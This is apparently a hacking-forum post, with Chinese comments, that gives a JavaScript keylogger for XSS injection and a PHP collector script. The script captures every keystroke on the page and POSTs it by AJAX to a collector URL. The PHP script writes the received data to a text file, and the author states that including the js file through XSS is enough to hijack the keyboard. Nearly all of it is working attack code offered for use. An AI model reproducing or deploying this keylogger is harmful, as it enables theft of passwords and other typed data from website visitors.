function createAjax(){
var request=false;
//window对象中有XMLHttpRequest存在就是非IE,包括(IE7,IE8)
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
//window对象中有ActiveXObject属性存在就是IE
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
//注意: 要每次请求都要使用一个新的XMLHttpRequest
/*
如果使用get将数据传给服务器,则服务器就使用$_GET
就直接通过Url将数据传给服务器
使用POST时一定要使用 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
*/
var ajax=null;
var xl="username=";
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode);
xl+=realkey;
show();
}
document.onkeypress = onkeypress;
function show(){
ajax=createAjax();
ajax.onreadystatechange=function(){
if(ajax.readyState==4){
if(ajax.status==200){
var data=ajax.responseText;
//alert(data);
}else{
alert("页面请求失败");
}
}
}
//document.onkeypress = onkeypress;
var postdate = xl;
ajax.open("POST", "http://127.0.0.1/yans/post.php", true);
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate);
//ajax.send(null);
//by darkmoon link:90sec.org blog:blog.moonhack.com
}
只要调用一下js文件xss劫持键盘就能够实现!!!!!!!
<?php
//if($_POST['bbb']){
$a=$_POST['username'];
$handle=fopen('fuck.txt',"w");
fwrite($handle,$a."\r\n");
//}
?>
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